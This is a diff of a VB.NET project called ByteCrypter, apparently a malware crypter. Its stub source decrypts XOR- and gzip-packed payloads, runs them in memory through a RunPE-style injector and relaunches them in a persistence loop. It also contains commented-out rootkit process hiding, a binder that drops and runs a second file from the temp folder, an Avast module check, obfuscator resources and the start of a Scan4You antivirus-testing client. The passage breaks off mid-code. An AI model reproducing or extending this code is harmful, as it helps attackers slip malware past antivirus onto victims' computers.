<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<ApplicationType>0</ApplicationType>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' Les informations générales relatives à un assembly dépendent de
|
||||
' l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
|
||||
' associées à un assembly.
|
||||
|
||||
' Passez en revue les valeurs des attributs de l'assembly
|
||||
|
||||
<Assembly: AssemblyTitle("ByteCrypter")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("")>
|
||||
<Assembly: AssemblyProduct("ByteCrypter")>
|
||||
<Assembly: AssemblyCopyright("Copyright © 2013")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
|
||||
<Assembly: Guid("ecb62795-6d3c-41f2-a60c-f9c6a51f5547")>
|
||||
|
||||
' Les informations de version pour un assembly se composent des quatre valeurs suivantes :
|
||||
'
|
||||
' Version principale
|
||||
' Version secondaire
|
||||
' Numéro de build
|
||||
' Révision
|
||||
'
|
||||
' Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
|
||||
' en utilisant '*', comme indiqué ci-dessous :
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,153 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.17929
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Crypter.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to <Assembly: AssemblyTitle("%Title%")>
|
||||
'''<Assembly: AssemblyDescription("%Description%")>
|
||||
'''<Assembly: AssemblyCompany("%Company%")>
|
||||
'''<Assembly: AssemblyProduct("%Product%")>
|
||||
'''<Assembly: AssemblyCopyright("%Copyright%")>
|
||||
'''<Assembly: AssemblyTrademark("%Trademark%")>
|
||||
'''<Assembly: AssemblyFileVersion("%FileVersion%")> .
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Asem() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Asem", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Drawing.Bitmap.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Capture() As System.Drawing.Bitmap
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Capture", resourceCulture)
|
||||
Return CType(obj,System.Drawing.Bitmap)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Byte[].
|
||||
'''</summary>
|
||||
Friend ReadOnly Property DarkFire() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("DarkFire", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Byte[].
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Mono_Cecil() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Mono_Cecil", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Byte[].
|
||||
'''</summary>
|
||||
Friend ReadOnly Property pourquoi() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("pourquoi", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Imports System, Microsoft.VisualBasic
|
||||
'''Imports System.Reflection
|
||||
'''Imports System.Text
|
||||
'''Imports System.Security.Cryptography
|
||||
'''Imports System.IO.Compression
|
||||
'''Imports System.IO
|
||||
'''Imports System.Diagnostics
|
||||
'''
|
||||
''''[ASEMBLYCODE]
|
||||
'''<Assembly: AssemblyKeyFileAttribute("STRONGNAMELOCATION")>
|
||||
'''
|
||||
'''Public Class _BASE
|
||||
''' Shared ASM As Assembly = Assembly.GetExecutingAssembly()
|
||||
''' Shared RM As New Resources.ResourceManager("Z", ASM)
|
||||
''' Shared Bind As Boolean = %BindCheck%
|
||||
''' Shared Once As Boolean = %OnceCheck%
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Source() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Source", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Byte[].
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Xenocode() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Xenocode", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,142 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="Source" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Source.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Asem" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Asem.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
<data name="Mono_Cecil" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Mono.Cecil.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="pourquoi" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\pourquoi.snk;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Xenocode" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Xenocode.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="DarkFire" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\DarkFire.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Capture" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Capture.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.17929
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.Crypter.My.MySettings
|
||||
Get
|
||||
Return Global.Crypter.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,7 @@
|
||||
<Assembly: AssemblyTitle("%Title%")>
|
||||
<Assembly: AssemblyDescription("%Description%")>
|
||||
<Assembly: AssemblyCompany("%Company%")>
|
||||
<Assembly: AssemblyProduct("%Product%")>
|
||||
<Assembly: AssemblyCopyright("%Copyright%")>
|
||||
<Assembly: AssemblyTrademark("%Trademark%")>
|
||||
<Assembly: AssemblyFileVersion("%FileVersion%")>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 291 KiB |
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,163 @@
|
||||
Imports System, Microsoft.VisualBasic
|
||||
Imports System.Reflection
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.IO.Compression
|
||||
Imports System.IO
|
||||
Imports System.Diagnostics
|
||||
|
||||
'[ASEMBLYCODE]
|
||||
<Assembly: AssemblyKeyFileAttribute("STRONGNAMELOCATION")>
|
||||
|
||||
Public Class _BASE
|
||||
Shared ASM As Assembly = Assembly.GetExecutingAssembly()
|
||||
Shared RM As New Resources.ResourceManager("Z", ASM)
|
||||
Shared Bind As Boolean = %BindCheck%
|
||||
Shared Once As Boolean = %OnceCheck%
|
||||
Shared Sub Main()
|
||||
Try
|
||||
'BINDER CheckBinder
|
||||
For Each procMod As ProcessModule In Process.GetCurrentProcess().Modules
|
||||
If procMod.ModuleName = "snxhk.dll" Then
|
||||
End If
|
||||
Next
|
||||
Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "", "%NON%", "%Folder%", "%Filename%", "%KeyName%"})
|
||||
EX.Run()
|
||||
'ROOTPersist
|
||||
'_HIDEDim ProcessName As String = "%ProcessName%"
|
||||
'_HIDEDim Processes() As System.Diagnostics.Process = System.Diagnostics.Process.GetProcessesByName(ProcessName)
|
||||
'_HIDEDim id = Processes(0).Id
|
||||
'_HIDEDim Hide As New EX(RetRoot, "Rootkits", "HideProcess", New Object() {Process.GetProcessById(Convert.ToInt32(id))})
|
||||
'_HIDEHide.Run()
|
||||
Catch ex As Exception
|
||||
MsgBox(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
Public Shared Sub Persist()
|
||||
While True
|
||||
Dim P = Process.GetProcessesByName("%ProcessName%")
|
||||
If P.Length < 1 Then
|
||||
Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "%NON%", "%Folder%", "%Filename%", "%KeyName%"})
|
||||
EX.Run()
|
||||
|
||||
End If
|
||||
System.Threading.Thread.Sleep(500)
|
||||
End While
|
||||
End Sub
|
||||
Private Shared ReadOnly Property RetFile As Byte()
|
||||
Get
|
||||
Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("First"))))
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private Shared ReadOnly Property RetRpE As Byte()
|
||||
Get
|
||||
Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Second"))))
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'_HIDEPrivate Shared ReadOnly Property RetRoot As Byte()
|
||||
'_HIDE Get
|
||||
'_HIDE Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Root"))))
|
||||
'_HIDE End Get
|
||||
'_HIDEEnd Property
|
||||
|
||||
'BINDERPrivate Shared ReadOnly Property RetBind As Byte()
|
||||
'BINDER Get
|
||||
'BINDER Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Three"))))
|
||||
'BINDER End Get
|
||||
'BINDEREnd Property
|
||||
|
||||
'BINDERShared Sub ExecBind()
|
||||
'BINDER Dim RR As New Random
|
||||
'BINDER Dim Path = IO.Path.GetTempPath & RR.Next(1, 99999) & "%Extension%"
|
||||
'BINDER Dynamic(GetType(IO.File), "WriteAllBytes", New Object() {Path, RetBind})
|
||||
'BINDER Dynamic(GetType(Process), "Start", New Object() {Path})
|
||||
'BINDEREnd Sub
|
||||
|
||||
'BINDERShared Sub CheckBinder()
|
||||
'BINDER Dim x As System.Threading.Thread
|
||||
'BINDER Dim xx As System.Threading.Thread
|
||||
'BINDER If Bind = True Then
|
||||
'BINDER If Once = True Then
|
||||
'BINDER Dim OnceKey As Microsoft.Win32.RegistryKey = My.Computer.Registry.ClassesRoot.OpenSubKey("AlreadyLaunched", False)
|
||||
'BINDER If OnceKey Is Nothing Then
|
||||
'BINDER xx = New System.Threading.Thread(AddressOf ExecBind)
|
||||
'BINDER xx.Start()
|
||||
'BINDER My.Computer.Registry.ClassesRoot.CreateSubKey("AlreadyLaunched", False)
|
||||
'BINDER Else
|
||||
'BINDER End If
|
||||
'BINDER Else
|
||||
'BINDER x = New System.Threading.Thread(AddressOf ExecBind)
|
||||
'BINDER x.Start()
|
||||
'BINDER End If
|
||||
'BINDER Else : Exit Sub : End If
|
||||
'BINDEREnd Sub
|
||||
|
||||
Public Shared Function PolyIndia(ByVal data As Byte()) As Byte()
|
||||
Dim Result As Byte() = New Byte(data.Length - 16 - 1) {}
|
||||
Buffer.BlockCopy(data, 16, Result, 0, Result.Length)
|
||||
For i As Integer = 0 To Result.Length - 1
|
||||
Result(i) = Result(i) Xor data(i Mod 16)
|
||||
Next
|
||||
Return Result
|
||||
End Function
|
||||
|
||||
Public Shared Function Decompress(data As Byte()) As Byte()
|
||||
Dim input As New MemoryStream()
|
||||
input.Write(data, 0, data.Length)
|
||||
input.Position = 0
|
||||
Dim gzip As New GZipStream(input, CompressionMode.Decompress, True)
|
||||
Dim output As New MemoryStream()
|
||||
Dim buff As Byte() = New Byte(63) {}
|
||||
Dim read As Integer = -1
|
||||
read = gzip.Read(buff, 0, buff.Length)
|
||||
While read > 0
|
||||
output.Write(buff, 0, read)
|
||||
read = gzip.Read(buff, 0, buff.Length)
|
||||
End While
|
||||
gzip.Close()
|
||||
Return output.ToArray()
|
||||
End Function
|
||||
|
||||
Public Shared Function Dynamic(ByVal [Class] As System.Type, ByVal Method As String, ByVal Argument As Object())
|
||||
Dim Cls As Type = [Class]
|
||||
Dim Void As String = Method
|
||||
Dim obj As Object() = Argument
|
||||
Return Cls.InvokeMember(Void, System.Reflection.BindingFlags.InvokeMethod, Nothing, Nothing, obj)
|
||||
End Function
|
||||
|
||||
End Class
|
||||
Public Class EX
|
||||
Private ASM() As Byte
|
||||
Private CN, MN As String
|
||||
Private args() As Object
|
||||
Public Sub New(ByVal ASM() As Byte, ByVal CN As String, ByVal MN As String, ByVal args() As Object)
|
||||
Me.ASM = ASM
|
||||
Me.CN = CN
|
||||
Me.MN = MN
|
||||
Me.args = args
|
||||
End Sub
|
||||
Public Sub Run()
|
||||
Dim ASM1 As Assembly
|
||||
Dim ASMInit As New ASMInit(ASM)
|
||||
ASM1 = ASMInit.Ret
|
||||
For Each typex As Type In ASM1.GetTypes()
|
||||
If typex.IsClass = True Then
|
||||
If typex.FullName.EndsWith("." & CN) Then
|
||||
Dim ClassyObject As Object = Activator.CreateInstance(typex)
|
||||
typex.InvokeMember(MN, Reflection.BindingFlags.[Default] Or Reflection.BindingFlags.InvokeMethod, Nothing, ClassyObject, args)
|
||||
End If
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
Public Class ASMInit
|
||||
Private Init As Assembly
|
||||
Public Sub New(ByVal Init As Byte())
|
||||
Me.Init = Assembly.Load(Init)
|
||||
End Sub
|
||||
Public Function Ret() As Assembly
|
||||
Return Init
|
||||
End Function
|
||||
End Class
|
||||
End Class
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
<SimpleAssemblyExplorer.Properties.Settings>
|
||||
</SimpleAssemblyExplorer.Properties.Settings>
|
||||
@@ -0,0 +1,229 @@
|
||||
Imports System.Collections.Specialized
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
Imports System.Text.RegularExpressions
|
||||
Imports Crypter.Utility.Http
|
||||
|
||||
Namespace Service
|
||||
Public Class Scan4You
|
||||
Implements IDisposable
|
||||
|
||||
Private Http As Utility.Http = Nothing
|
||||
Private Session As UploadSession = Nothing
|
||||
|
||||
#Region "Structures"
|
||||
Public Structure Result
|
||||
Dim Success As Boolean
|
||||
Dim ProxyError As Boolean
|
||||
Dim FailMessage As String
|
||||
Dim UploadUrl As String
|
||||
End Structure
|
||||
|
||||
Private Structure UploadSession
|
||||
Dim UploadKey As String
|
||||
Dim User As String
|
||||
Dim Config As String
|
||||
End Structure
|
||||
#End Region
|
||||
|
||||
#Region "Events"
|
||||
Public Event Notify(ByVal Text As String)
|
||||
#End Region
|
||||
|
||||
#Region "Properties"
|
||||
Private _Account As String() = Nothing
|
||||
Public Property Account As String()
|
||||
Get
|
||||
Return _Account
|
||||
End Get
|
||||
Set(ByVal value As String())
|
||||
_Account = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Online As Boolean = False
|
||||
Public Property Online As Boolean
|
||||
Get
|
||||
Return _Online
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_Online = value
|
||||
End Set
|
||||
End Property
|
||||
Private _AVDetections As New Dictionary(Of String, String)
|
||||
Public Property AVDetections As Dictionary(Of String, String)
|
||||
Get
|
||||
Return _AVDetections
|
||||
End Get
|
||||
Set(ByVal value As Dictionary(Of String, String))
|
||||
_AVDetections = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Rate As String = Nothing
|
||||
Public Property Rate As String
|
||||
Get
|
||||
Return _Rate
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_Rate = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _BBCode As String = Nothing
|
||||
Public Property BBCode As String
|
||||
Get
|
||||
Return _BBCode
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_BBCode = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Link As String = Nothing
|
||||
Public Property Link As String
|
||||
Get
|
||||
Return _Link
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_Link = value
|
||||
End Set
|
||||
End Property
|
||||
#End Region
|
||||
|
||||
#Region "Constructor"
|
||||
Public Sub New(ByVal Acc As String())
|
||||
Account = Acc
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Deconstructor"
|
||||
Private disposedValue As Boolean
|
||||
Protected Overridable Sub Dispose(ByVal disposing As Boolean)
|
||||
If Not Me.disposedValue Then
|
||||
If disposing Then
|
||||
If Not IsNothing(Http) Then Http.Dispose()
|
||||
End If
|
||||
End If
|
||||
Me.disposedValue = True
|
||||
End Sub
|
||||
Public Sub Dispose() Implements IDisposable.Dispose
|
||||
Dispose(True)
|
||||
GC.SuppressFinalize(Me)
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Methods"
|
||||
Private Sub NewSession()
|
||||
If Not IsNothing(Http) Then Http.Dispose()
|
||||
Http = New Utility.Http
|
||||
Online = False
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "API"
|
||||
Public Sub Login()
|
||||
Try
|
||||
NewSession()
|
||||
With Http
|
||||
.TimeOut = 10000
|
||||
.DebugMode = True
|
||||
.AutoRedirect = True
|
||||
RaiseEvent Notify("Attempting to log in.")
|
||||
|
||||
Dim hr As HttpResponse = .GetResponse(Verb._GET, "http://scan4you.net")
|
||||
If Not hr.Html.Contains("z6112' value='") Then
|
||||
